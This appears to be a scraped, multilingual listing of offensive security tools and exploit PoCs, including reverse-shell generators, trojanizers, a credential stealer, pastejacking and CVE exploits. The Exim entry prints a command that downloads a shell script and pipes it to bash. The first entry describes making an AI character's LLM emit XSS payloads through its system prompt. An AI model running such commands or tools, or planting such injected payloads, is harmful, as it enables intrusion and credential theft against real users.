CVE-2025-51860

CVE-2025-51860 漏洞描述 TelegAI，一个用于构建和与AI角色聊天的Web应用程序，在其聊天组件和角色容器组件中存在存储型跨站脚本（XSS）漏洞。攻击者可以通过在AI角色的描述、问候语、示例对话或系统提示（指示LLM在聊天响应中嵌入XSS负载）中构造包含SVG XSS负载的角色，从而实现任意客户端脚本执行。当用户与这种恶意AI角色交互或仅浏览其个人资料时，脚本会在用户的浏览器中执行。成功利用该漏洞可能导致敏感信息（如会话令牌）被窃取，进而可能导致账户劫持。 攻击向量...

PRETty

PRETty Kit de herramientas de explotación de impresoras "PRinter Exploitation Toolkit" para automatización en LAN En realidad es solo un wrapper de Python para PRET... bueno, es solo un bucle for PRETty es útil cuando hay una gran cantidad de impresoras en una red. En lugar de escanear, registrar...

fudshell

fudshell 一款高效的脚本，用于生成红队所需的FUD持久反向Shell。请勿将生成的载荷上传至VirusTotal 警告： root@kitploit: 请勿将任何载荷上传至VirusTotal。如果被检测到，请告知我， 我会更新载荷。 如果需要Cobalt Strike规避方案，请通过Telegram联系我：@R0ot1337 使用方法： root@kitploit: 1. 输入LHOST（你的IP地址） 2. 输入LPORT（你的端口） 3. 生成PowerShell载荷后。 4. 使用netcat监听（nc -lvnp 你在LPORT中指定的端口） 安装：...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

EmbedInHTML

将任意文件嵌入并隐藏到HTML中 作者: Arno0x0x - @Arno0x0x 该工具的作用是获取一个文件（ 任何类型的文件 ），对其进行加密，并将其作为资源嵌入到HTML文件中，同时包含一个自动下载程序，模拟用户点击嵌入的资源。 然后，当用户浏览该HTML文件时，嵌入的文件会即时解密，保存到临时文件夹中，并呈现给用户，如同从远程站点下载一样。根据用户的浏览器和呈现的文件类型，文件可能由浏览器自动打开。 该工具有两种形态，提供相同的整体功能，但在使用方式上略有不同： 1. 一个Python脚本 ，基于模板生成输出HTML文件，使用RC4加密...

OWASP-mth3l3m3nt-framework

OWASP Mth3l3m3nt Framework 正在进行一次稍微重大的升级（原谅我的双关）。本次升级将带来以下内容： 更简单的编码标准 支持 PHP 8 更强大的功能 修复已提交的 bug 请求 该工具基于 GNU Affero General Public License v3 发布。 目前已打包的模块： Payload 存储 Shell 生成器 PHP/ASP/JSP/JSPX/CFM Payload 编码和解码 Base64/Rot13/Hex/带 \x 分隔符的 Hex/带 0x 前缀的 Hex CURL 图形界面 GET/POST/TRACE/OPTIONS/HEAD L...

Embedded-PDF

通过PDF文件嵌入后门连接 😈 由 介绍 本演示视频展示了如何通过向目标发送看似无害的 PDF 文件（实际上嵌入了 payload）来控制受害者的设备。该漏洞已以 CVE-2010-1240 公开。 一旦受害者使用 Adobe Reader 打开 PDF，并被我们诱骗同意安全弹窗，我们就能通过反向 TCP 连接获得连接其设备的 meterpreter 会话。那时，他们所有的数据以及当前的行为都在我们的监控之下。 所需软件/工具列表 Metasploit Adobe Reader = 8.1.2 环境 攻击机 ：Kali Linux 2021.1 版本 目标操作系统 ：Windows 10...

java-stager

java-stager A PoC Java Stager which can download, compile, and execute a Java file in memory. This is for research purposes only, do not use this where you are unauthorised to do so. What is this? This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available...

batchfuscate

batchfuscate Un script simple y eficiente para hacer que tu payload batch sea indetectable. Requisitos: root@kitploit: 1. python3 debe estar instalado en Windows y Linux 2. pip install termcolor pip install pystyle pip install tqdm pip install colorama pip install requests Instalación:-...

generator-burp-extension

Burp Extension Generator Installation First, install Yeoman and generator-burp-extension using npm we assume you have pre-installed node.js. root@kitploit: npm install -g yo npm install -g generator-burp-extension Then generate your new project: root@kitploit: yo burp-extension Burp Extension...

PasteJacker

PasteJacker 该工具的主要目的是自动化（PasteJacking/剪贴板投毒/随便你怎么称呼）攻击，将所有已知的攻击技巧集中在一个地方，并自动化执行。因为在搜索后，我发现没有工具能以正确的方式做到这一点 😄 由于这种攻击取决于用户将要粘贴的内容，我将Metasploit的web-delivery模块的想法实现到了工具中。因此，当用户粘贴到终端时，你就能在他的设备上获得meterpreter会话 😄 在YouTube上观看教程 什么是PasteJacking？ 简而言之，Pastejacking是一种恶意网站用来控制你电脑剪贴板并在你不知情的情况下将其内容更改为有害内容的方法。...

adobe-flash-cve2018-15982

Adobe Flash CVE-2018-15982 此脚本为 CVE-2018-15982 创建 swf 载荷，其基于 https://github.com/smgorelik/Windows-RCE-exploits 中的 PoC。该漏洞由 Gigamon ATR 的 Chenming Xu 和 Ed Miles 发现。 该漏洞是一个释放后重用缺陷，可在 Flash 中实现任意代码执行。更多信息见以下链接。 https://threatpost.com/adobe-patches-zero-day-vulnerability-in-flash-player/139629/...

avoidz

Avoidz v 1.3 root@kitploit: 作者: Mascerano Bachir dev-labs 法律声明: root@kitploit: 作者不对该工具的滥用承担任何责任， 请记住，这仅用于教育目的。 描述: root@kitploit: 该工具生成编码的 PowerShell 与 Metasploit 载荷，将 C、C、py、go 模板转换为 EXE 文件 截图: 依赖项 : root@kitploit: 1 - metasploit-framework 2 - xterm 3 - MinGW32 4 - Monodevelop 5 - Wine 6 -...

spring4shell-scan

spring4shell-scan 一个完全自动化、可靠、精确的扫描器，用于发现 Spring4Shell 和 Spring Cloud RCE 漏洞 功能特性 支持 URL 列表。 针对超过10种新的Spring4Shell Payload进行模糊测试（先前工具仅使用1-2种变体）。 对HTTP GET和POST方法进行模糊测试。 发现漏洞时自动验证。 随机且非侵入性 Payload。 WAF绕过Payload。 描述 Spring4Shell RCE是一个关键漏洞，FullHunt自其发布以来一直在研究。我们与客户合作，扫描其环境中的Spring4Shell和Spring Cloud...

trojanizer

TROJANIZER root@kitploit: Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION root@kitploit: The Trojanizer tool uses WinRAR SFX to...

trojanizer

TROJANIZER（特洛伊制造器） root@kitploit: 版本发布 : v1.1（稳定版） 作者 : pedro ubuntu r00t-3xp10it 代号 : TroiaRevisited 支持的发行版 : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam 开发 @2017 框架描述 root@kitploit: Trojanizer 工具使用 WinRAR（SFX）压缩用户输入的两个文件， 并将其转换为 SFX 可执行（.exe）存档。当 SFX 存档执行时，...

chalumeau

Chalumeau Chalumeau 是一款基于 PowerShell 和 Python 的自动化、可扩展且可定制的凭据窃取工具。 主要功能 编写自己的 Payload 内存中执行 提取密码列表 仪表板报告 / Web 界面 解析 Mimikatz 转储票据 截图 已知问题 解析 Mimikatz dcsync（正在修复） 绕过杀毒软件和 EDR，您需要维护自己的 Payload 待办事项 加密通信 自动横向移动 自动密码喷洒 自动哈希破解 使用方法 root@kitploit: git clone...

BadOutlook

Bad Outlook Un PoC simple que aprovecha la Interfaz de la Aplicación de Outlook Interfaz COM para ejecutar shellcode en un sistema basado en una línea de asunto de activación específica. Al utilizar el espacio de nombres Microsoft.Office.Interop.Outlook, los desarrolladores pueden representar tod...

CVE-2022-44877-white-box

文档：https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider：https://github.com/gianlucaborello/libprocesshider /var/www/html YouTube 演示：https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s 已测试的机器环境 CentOS 7 - CentOS Web Panel 9.8.1146 Kali Linux...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 Descripción Este sencillo script en Python te permite enviar un payload a una dirección IP y puerto objetivo utilizando el protocolo SMB. Está diseñado para demostrar el uso de un payload de exploit SMB con fines educativos. El payload es un mensaje SMB...